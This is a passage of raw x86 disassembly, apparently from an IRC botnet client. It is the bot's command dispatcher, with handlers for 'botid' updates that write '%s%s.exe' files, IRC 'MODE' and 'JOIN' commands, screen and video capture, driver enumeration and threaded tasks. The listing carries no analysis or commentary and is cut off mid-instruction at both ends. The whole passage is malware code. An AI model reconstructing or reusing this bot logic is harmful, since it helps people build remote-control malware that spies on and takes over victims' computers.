ebx jnz loc_411D22 push 32h nop call near ptr 2600833h jmp short loc_4126B5 ; --------------------------------------------------------------------------- loc_4126CB: ; CODE XREF: sub_40EE72+3841j call near ptr 26402CBh nop push eax push offset unk_436D28 jmp loc_4128CE ; --------------------------------------------------------------------------- loc_4126DC: ; CODE XREF: sub_40EE72+26B4j ; sub_40EE72+26CBj push 7Fh lea eax, [ebp+var_76C] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_6EC] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_66C] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_8] add esp, 30h mov esi, [ebp+var_4] mov [ebp+var_564], eax push [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_568], esi push edi push offset dword_436CEC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Bh push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_4019D7 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4127AF loc_41279D: ; CODE XREF: sub_40EE72+393Bj cmp [ebp+var_560], ebx jnz short loc_4127CA push 32h nop call near ptr 2600833h jmp short loc_41279D ; --------------------------------------------------------------------------- loc_4127AF: ; CODE XREF: sub_40EE72+3929j nop call near ptr 26402CBh push eax lea eax, [ebp+var_2DC] push offset dword_436CA4 push eax call sub_4172B0 add esp, 0Ch loc_4127CA: ; CODE XREF: sub_40EE72+3931j cmp [ebp+var_8], ebx jnz loc_414E11 push ebx push esi jmp loc_414619 ; --------------------------------------------------------------------------- loc_4127DA: ; CODE XREF: sub_40EE72+266Fj ; sub_40EE72+2686j ... push 7Fh lea eax, [ebp+var_7E8] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_768] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_6E8] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_668] push [ebp+var_8C] push eax call sub_418C10 push 20h lea eax, [ebp+var_5E8] push [ebp+arg_8] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_568], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_7F0], esi push edi push offset unk_436C64 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 0Ah push eax call sub_416D5C add esp, 20h mov [ebp+var_7EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_401000 push ebx push ebx call near ptr 2670BF1h nop mov ecx, [ebp+var_7EC] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4128C2 loc_4128AC: ; CODE XREF: sub_40EE72+3A4Ej cmp [ebp+var_560], ebx jnz loc_411D22 push 32h nop call near ptr 2600833h jmp short loc_4128AC ; --------------------------------------------------------------------------- loc_4128C2: ; CODE XREF: sub_40EE72+3A38j nop call near ptr 26402CBh push eax push offset unk_436C1C loc_4128CE: ; CODE XREF: sub_40EE72+2E92j ; sub_40EE72+2FEEj ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 jmp loc_411D1F ; --------------------------------------------------------------------------- loc_4128DF: ; CODE XREF: sub_40EE72+2641j ; sub_40EE72+2658j push 7Fh lea eax, [ebp+var_458] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push 3Fh mov [ebp+var_308], eax push [ebp+arg_0] lea eax, [ebp+var_3D8] push eax call sub_418C10 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_41292D push 3Fh lea eax, [ebp+var_398] push esi push eax call sub_418C10 add esp, 0Ch loc_41292D: ; CODE XREF: sub_40EE72+3AA7j lea eax, [ebp+var_3D8] mov [ebp+var_304], 1 push eax lea eax, [ebp+var_458] push [ebp+var_308] push eax lea eax, [ebp+var_2DC] push offset unk_436BDC push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 18h push eax call sub_416D5C add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_45C] push ebx push eax push offset sub_40EB92 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4129B9 loc_4129A3: ; CODE XREF: sub_40EE72+3B45j cmp [ebp+var_2FC], ebx jnz loc_413A64 push 32h nop call near ptr 2600833h jmp short loc_4129A3 ; --------------------------------------------------------------------------- loc_4129B9: ; CODE XREF: sub_40EE72+3B2Fj nop call near ptr 26402CBh push eax push offset unk_436B94 jmp loc_411888 ; --------------------------------------------------------------------------- loc_4129CA: ; CODE XREF: sub_40EE72+2601j ; sub_40EE72+2618j push [ebp+arg_18] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_412AC1 mov esi, 80h push edi lea eax, [ebp+var_6F8] push esi push eax call sub_41782A add esp, 0Ch xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push edi push offset unk_436B58 push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Dh push eax call sub_416D5C add esp, 20h mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_40144A push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412AB0 loc_412A9A: ; CODE XREF: sub_40EE72+3C3Cj cmp [ebp+var_560], ebx jnz loc_41460C push 32h nop call near ptr 2600833h jmp short loc_412A9A ; --------------------------------------------------------------------------- loc_412AB0: ; CODE XREF: sub_40EE72+3C26j nop call near ptr 26402CBh push eax push offset unk_436B10 jmp loc_413BFD ; --------------------------------------------------------------------------- loc_412AC1: ; CODE XREF: sub_40EE72+3B69j push offset unk_436AC8 jmp loc_4145FE ; --------------------------------------------------------------------------- loc_412ACB: ; CODE XREF: sub_40EE72+25D3j ; sub_40EE72+25EAj push [ebp+arg_18] push edi nop call near ptr 27B09E9h test eax, eax jz short loc_412AFB push [ebp+arg_18] lea eax, [ebp+var_2DC] push edi push offset unk_436A94 push 200h push eax call sub_41782A add esp, 14h jmp loc_41460C ; --------------------------------------------------------------------------- loc_412AFB: ; CODE XREF: sub_40EE72+3C65j push offset dword_436A78 call sub_40AA35 pop ecx push eax lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A jmp loc_413C09 ; --------------------------------------------------------------------------- loc_412B1D: ; CODE XREF: sub_40EE72+25A5j ; sub_40EE72+25BCj push edi lea eax, [ebp+var_774] push 104h push eax call sub_41782A add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_412B57 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz short loc_412B57 push eax lea eax, [ebp+var_670] push eax call sub_4172B0 pop ecx pop ecx loc_412B57: ; CODE XREF: sub_40EE72+3CC3j ; sub_40EE72+3CD4j push [ebp+var_8C] lea eax, [ebp+var_7F4] push 80h push eax call sub_41782A mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_7F8], eax mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_670] push eax lea eax, [ebp+var_774] push eax push offset unk_436A38 lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 1Ch push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset sub_408DCA push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412C0D loc_412BF7: ; CODE XREF: sub_40EE72+3D99j cmp [ebp+var_560], ebx jnz loc_414E11 push 32h nop call near ptr 2600833h jmp short loc_412BF7 ; --------------------------------------------------------------------------- loc_412C0D: ; CODE XREF: sub_40EE72+3D83j nop call near ptr 26402CBh push eax push offset unk_4369EC jmp loc_414E02 ; --------------------------------------------------------------------------- loc_412C1E: ; CODE XREF: sub_40EE72+2577j ; sub_40EE72+258Ej push 44h lea eax, [ebp+var_4A0] pop esi push esi push ebx push eax call sub_417330 push 1 mov [ebp+var_4A0], esi pop esi mov word ptr [ebp+var_470], bx push edi mov [ebp+var_474], esi call sub_41781F add esp, 10h cmp eax, esi jnz short loc_412C5B mov word ptr [ebp+var_470], 5 loc_412C5B: ; CODE XREF: sub_40EE72+3DDEj cmp [ebp+var_C], ebx jz loc_413A64 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_413A64 lea eax, [ebp+var_2EC] push eax lea eax, [ebp+var_4A0] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 27404D9h test eax, eax jnz short loc_412CA6 push offset unk_4369B8 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_412CA6: ; CODE XREF: sub_40EE72+3E28j push edi push offset dword_436990 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412CB1: ; CODE XREF: sub_40EE72+2549j ; sub_40EE72+2560j push [ebp+arg_18] push offset aBotid ; "botid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E2B lea eax, [ebp+var_3FC] push eax push 104h call near ptr 2751215h nop push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 lea eax, [ebp+var_2F8] push eax call sub_4159F4 add esp, 10h push eax lea eax, [ebp+var_3FC] push eax lea eax, [ebp+var_680] push offset aSS_exe ; "%s%s.exe" push eax call sub_4172B0 mov eax, [ebp+esi+var_88] add esp, 10h cmp eax, ebx mov [ebp+var_57C], 1 mov [ebp+var_578], ebx jz short loc_412D46 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_412D4C ; --------------------------------------------------------------------------- loc_412D46: ; CODE XREF: sub_40EE72+3EBEj mov [ebp+var_570], ebx loc_412D4C: ; CODE XREF: sub_40EE72+3ED2j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_412D66 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412D6C ; --------------------------------------------------------------------------- loc_412D66: ; CODE XREF: sub_40EE72+3EE3j mov [ebp+var_574], ebx loc_412D6C: ; CODE XREF: sub_40EE72+3EF2j movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax push edi lea eax, [ebp+var_2DC] push offset unk_436948 push eax call sub_4172B0 push esi lea eax, [ebp+var_2DC] push 17h push eax call sub_416D5C add esp, 18h mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx call near ptr 2670BF1h nop mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412E1A loc_412E04: ; CODE XREF: sub_40EE72+3FA6j cmp [ebp+var_560], ebx jnz loc_413A64 push 32h nop call near ptr 2600833h jmp short loc_412E04 ; --------------------------------------------------------------------------- loc_412E1A: ; CODE XREF: sub_40EE72+3F90j nop call near ptr 26402CBh push eax push offset unk_4368FC jmp loc_411888 ; --------------------------------------------------------------------------- loc_412E2B: ; CODE XREF: sub_40EE72+3E50j push offset unk_4368A8 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_412E35: ; CODE XREF: sub_40EE72+251Bj ; sub_40EE72+2532j push [ebp+var_90] push offset dword_4386A4 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx pop ecx push eax lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_436898 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 push edi call sub_41781F add esp, 28h test eax, eax jle short loc_412EBE push edi call sub_41781F imul eax, 3E8h pop ecx push eax nop call near ptr 2600833h loc_412EBE: ; CODE XREF: sub_40EE72+4036j push offset dword_436874 call sub_40BF6D mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412ED2: ; CODE XREF: sub_40EE72+24EDj ; sub_40EE72+2504j push [ebp+var_90] push offset dword_4386A4 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_4176D0 add esp, 10h test eax, eax push esi jz short loc_412F91 push [ebp+var_8C] lea eax, [ebp+var_2DC] push [ebp+var_90] push [ebp+var_94] push offset dword_436898 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] loc_412F4B: ; DATA XREF: ___:off_42DE40o call sub_418C10 add esp, 24h lea eax, [ebp+var_2DC] push esi push offset dword_436844 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push eax call sub_40BF6D push edi call sub_41781F add esp, 14h test eax, eax jle loc_414F47 push edi call sub_41781F add eax, [ebp+arg_24] pop ecx jmp loc_40F23C ; --------------------------------------------------------------------------- loc_412F91: ; CODE XREF: sub_40EE72+40A5j push offset dword_436800 jmp loc_411888 ; --------------------------------------------------------------------------- loc_412F9B: ; CODE XREF: sub_40EE72+24BFj ; sub_40EE72+24D6j push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_4367F8 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h loc_412FB8: ; CODE XREF: sub_40EE72+41B0j test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 loc_412FD2: ; CODE XREF: sub_40EE72+4CBDj lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 loc_412FF6: ; CODE XREF: sub_40EE72+446Bj ; sub_40EE72+5D44j add esp, 0Ch jmp loc_414F47 ; --------------------------------------------------------------------------- loc_412FFE: ; CODE XREF: sub_40EE72+2491j ; sub_40EE72+24A8j push [ebp+esi+var_88] lea eax, [ebp+var_2DC] push [ebp+arg_18] push offset dword_4367EC push eax call sub_4172B0 push edi call sub_41781F add esp, 14h jmp short loc_412FB8 ; --------------------------------------------------------------------------- loc_413024: ; CODE XREF: sub_40EE72+2463j ; sub_40EE72+247Aj push [ebp+arg_18] lea eax, [ebp+var_2DC] push offset dword_4367E4 push eax call sub_4172B0 push edi call sub_41781F add esp, 10h test eax, eax jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_4367B8 jmp loc_4132D8 ; --------------------------------------------------------------------------- loc_413090: ; CODE XREF: sub_40EE72+2435j ; sub_40EE72+244Cj cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4130C1 push esi lea eax, [ebp+var_2DC] push offset dword_4367B0 push eax call sub_4172B0 add esp, 0Ch loc_4130C1: ; CODE XREF: sub_40EE72+4238j push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 lea eax, [ebp+var_2DC] push eax push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_436784 jmp loc_4132D8 ; --------------------------------------------------------------------------- loc_413115: ; CODE XREF: sub_40EE72+2407j ; sub_40EE72+241Ej cmp [ebp+var_C], ebx jz loc_414F47 push [ebp+arg_18] push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push edi call sub_41781F test eax, eax pop ecx jle loc_414F47 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F47 push esi push offset dword_428598 push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D633 add esp, 0Ch push esi push edi push offset dword_436758 jmp loc_4132D8 ; --------------------------------------------------------------------------- loc_413183: ; CODE XREF: sub_40EE72+23D9j ; sub_40EE72+23F0j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_40D633 add esp, 0Ch push esi push offset dword_436720 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_4131BD: ; CODE XREF: sub_40EE72+23ABj ; sub_40EE72+23C2j push [ebp+var_90] push offset dword_4386A4 call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_40F239 push [ebp+arg_18] push offset dword_436714 push [ebp+arg_4] call sub_40D633 push edi call sub_41781F imul eax, 3E8h add esp, 10h push eax nop call near ptr 2600833h push [ebp+esi+var_88] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40D633 push offset dword_4366F0 call sub_40BF6D add esp, 14h jmp loc_414F47 ; --------------------------------------------------------------------------- loc_413226: ; CODE XREF: sub_40EE72+237Dj ; sub_40EE72+2394j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push esi lea eax, [ebp+var_2DC] push offset dword_436F0C push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push ebx push eax push edi push [ebp+arg_4] call sub_40D679 add esp, 20h push esi push edi push offset dword_4366C4 jmp short loc_4132D8 ; --------------------------------------------------------------------------- loc_41328C: ; CODE XREF: sub_40EE72+234Fj ; sub_40EE72+2366j cmp [ebp+var_C], ebx jz loc_414F47 push edi call sub_417AB0 push [ebp+arg_8] mov esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 10h cmp esi, ebx jz loc_414F47 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_40D679 add esp, 14h push esi push edi push offset dword_436698 loc_4132D8: ; CODE XREF: sub_40EE72+4219j ; sub_40EE72+429Ej ... call sub_40BFE1 jmp loc_412FF6 ; --------------------------------------------------------------------------- loc_4132E2: ; CODE XREF: sub_40EE72+2321j ; sub_40EE72+2338j cmp [ebp+var_C], ebx jz loc_40F239 push [ebp+arg_18] push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_40F239 push eax push edi call sub_40BE75 pop ecx pop ecx push edi push offset dword_43666C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_413314: ; CODE XREF: sub_40EE72+22E1j ; sub_40EE72+22F8j push edi push [ebp+arg_1C] call sub_417880 pop ecx test eax, eax pop ecx jz loc_414F47 mov esi, [ebp+esi+var_8C] cmp esi, ebx jz loc_4133B8 push esi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4133A0 push esi lea eax, [ebp+var_2DC] push [ebp+var_8C] push [ebp+var_90] push [ebp+var_94] push offset dword_436898 push eax call sub_4172B0 lea eax, [ebp+var_2DC] push 1FFh push eax push [ebp+arg_0] call sub_418C10 add esp, 24h lea eax, [ebp+var_2DC] push esi push edi push offset dword_436638 push eax call sub_4172B0 add esp, 10h inc [ebp+arg_24] jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_4133A0: ; CODE XREF: sub_40EE72+44D3j lea eax, [ebp+var_2DC] push offset dword_4365F8 push eax call sub_4172B0 pop ecx pop ecx jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_4133B8: ; CODE XREF: sub_40EE72+44BEj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_40BB8C add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h lea eax, [ebp+var_2DC] push edi push offset dword_4365D0 push 200h push eax call sub_41782A add esp, 10h jmp loc_414AC3 ; --------------------------------------------------------------------------- loc_413402: ; CODE XREF: sub_40EE72+22B3j ; sub_40EE72+22CAj push offset aScreen ; "screen" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_413465 cmp [ebp+esi+var_8C], ebx jz short loc_413452 push [ebp+esi+var_8C] call sub_4085B3 cmp eax, 1 pop ecx jnz short loc_41344B push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_43658C push eax call sub_4172B0 add esp, 0Ch jmp short loc_413465 ; --------------------------------------------------------------------------- loc_41344B: ; CODE XREF: sub_40EE72+45BAj push offset dword_436550 jmp short loc_413457 ; --------------------------------------------------------------------------- loc_413452: ; CODE XREF: sub_40EE72+45A8j push offset dword_436508 loc_413457: ; CODE XREF: sub_40EE72+45DEj lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_413465: ; CODE XREF: sub_40EE72+459Fj ; sub_40EE72+45D7j push offset aDrivers ; "drivers" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4134FC mov [ebp+arg_0], ebx loc_41347D: ; CODE XREF: sub_40EE72+4675j lea eax, [ebp+var_75C] push 1FFh push eax lea eax, [ebp+var_3F8] push 0FFh push eax push [ebp+arg_0] call dword_43F698 test eax, eax jz short loc_4134E0 lea eax, [ebp+var_75C] push eax lea eax, [ebp+var_3F8] push eax lea eax, [ebp+var_15B0] push [ebp+arg_0] push offset dword_4364CC push eax call sub_4172B0 push ebx lea eax, [ebp+var_15B0] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h loc_4134E0: ; CODE XREF: sub_40EE72+462Ej inc [ebp+arg_0] cmp [ebp+arg_0], 0Ah jl short loc_41347D lea eax, [ebp+var_2DC] push offset dword_436498 push eax call sub_4172B0 pop ecx pop ecx loc_4134FC: ; CODE XREF: sub_40EE72+4602j push offset aFrame ; "frame" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_4135A2 cmp [ebp+esi+var_8C], ebx jz short loc_41358F cmp [ebp+esi+var_88], ebx jz short loc_41358F cmp [ebp+esi+var_84], ebx jz short loc_41358F mov eax, [ebp+esi+var_80] cmp eax, ebx jz short loc_41358F push eax call sub_41781F pop ecx push eax push [ebp+esi+var_84] call sub_41781F pop ecx push eax push [ebp+esi+var_88] call sub_41781F pop ecx push eax push [ebp+esi+var_8C] call sub_4087EE add esp, 10h test eax, eax jnz short loc_413588 push [ebp+esi+var_8C] lea eax, [ebp+var_2DC] push offset dword_436454 push eax call sub_4172B0 add esp, 0Ch jmp short loc_4135A2 ; --------------------------------------------------------------------------- loc_413588: ; CODE XREF: sub_40EE72+46F7j push offset dword_436410 jmp short loc_413594 ; --------------------------------------------------------------------------- loc_41358F: ; CODE XREF: sub_40EE72+46A6j ; sub_40EE72+46AFj ... push offset dword_4363C8 loc_413594: ; CODE XREF: sub_40EE72+471Bj lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4135A2: ; CODE XREF: sub_40EE72+4699j ; sub_40EE72+4714j push offset aVideo ; "video" push edi call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_413A64 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_41363B mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_41363B mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz short loc_41363B mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_41363B mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_41363B push esi call sub_41781F pop ecx push eax push edi call sub_41781F pop ecx push eax push [ebp+arg_10] call sub_41781F pop ecx push eax push [ebp+arg_0] call sub_41781F pop ecx push eax push [ebp+arg_18] call sub_4089E7 add esp, 14h test eax, eax jnz short loc_413631 push [ebp+arg_18] push offset dword_43638C jmp loc_411888 ; --------------------------------------------------------------------------- loc_413631: ; CODE XREF: sub_40EE72+47B0j push offset dword_43633C jmp loc_413A56 ; --------------------------------------------------------------------------- loc_41363B: ; CODE XREF: sub_40EE72+4751j ; sub_40EE72+475Fj ... push offset dword_4362F0 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_413645: ; CODE XREF: sub_40EE72+1CF0j ; sub_40EE72+1D07j push offset aR ; "r" push edi call sub_4179A8 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4136C0 mov ebx, 200h push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 0Ch loc_41366E: ; CODE XREF: sub_40EE72+482Bj test eax, eax jz short loc_41369F push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 push esi lea eax, [ebp+var_2DC] push ebx push eax call sub_41900C add esp, 20h jmp short loc_41366E ; --------------------------------------------------------------------------- loc_41369F: ; CODE XREF: sub_40EE72+47FEj push esi call sub_417900 pop ecx lea eax, [ebp+var_2DC] push edi push offset dword_4362BC push eax call sub_4172B0 add esp, 0Ch jmp loc_4110FD ; --------------------------------------------------------------------------- loc_4136C0: ; CODE XREF: sub_40EE72+47E4j push edi push offset dword_43628C jmp loc_4110B1 ; --------------------------------------------------------------------------- loc_4136CB: ; CODE XREF: sub_40EE72+1CC2j ; sub_40EE72+1CD9j cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_414F47 push offset asc_42A660 ; "\n" push esi call sub_4179D0 push esi call sub_40B358 add esp, 0Ch test eax, eax jnz short loc_41370B push offset dword_436250 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_41370B: ; CODE XREF: sub_40EE72+488Dj push esi push offset dword_436228 jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413716: ; CODE XREF: sub_40EE72+1C94j ; sub_40EE72+1CABj cmp [ebp+var_C], ebx jz loc_414F47 push edi push [ebp+var_C] call sub_417880 pop ecx cmp eax, ebx pop ecx jz loc_414F47 push eax call sub_40AAFA test eax, eax pop ecx jnz short loc_413747 push offset unk_4361FC jmp loc_413A56 ; --------------------------------------------------------------------------- loc_413747: ; CODE XREF: sub_40EE72+48C9j push offset dword_4361D0 jmp loc_413A56 ; --------------------------------------------------------------------------- loc_413751: ; CODE XREF: sub_40EE72+1C66j ; sub_40EE72+1C7Dj push 7Fh lea eax, [ebp+var_6EC] push edi push eax call sub_418C10 mov esi, [ebp+esi+var_8C] add esp, 0Ch cmp esi, ebx jz short loc_413780 push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 add esp, 0Ch loc_413780: ; CODE XREF: sub_40EE72+48FAj push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_6F0], eax mov eax, [ebp+var_8] mov [ebp+var_568], eax mov eax, [ebp+var_4] mov [ebp+var_564], eax push edi lea eax, [ebp+var_2DC] push offset dword_4361A8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 15h push eax call sub_416D5C add esp, 18h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F0] push ebx push eax push offset sub_40BC4B push ebx push ebx call near ptr 2670BF1h nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_413821 loc_41380B: ; CODE XREF: sub_40EE72+49ADj cmp [ebp+var_560], ebx jnz loc_414AC3 push 32h nop call near ptr 2600833h jmp short loc_41380B ; --------------------------------------------------------------------------- loc_413821: ; CODE XREF: sub_40EE72+4997j call near ptr 26402CBh nop push eax push offset unk_43615C jmp loc_414AB4 ; --------------------------------------------------------------------------- loc_413832: ; CODE XREF: sub_40EE72+1C38j ; sub_40EE72+1C4Fj push ebx push [ebp+var_8C] push [ebp+arg_4] push edi call sub_406387 add esp, 10h push edi push offset dword_436138 jmp loc_414F40 ; --------------------------------------------------------------------------- loc_413850: ; CODE XREF: sub_40EE72+1C0Aj ; sub_40EE72+1C21j push 14h lea eax, [ebp+var_708] push ebx push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_6F4] push edi push offset aS_1 ; "%s" push eax call sub_4172B0 mov eax, 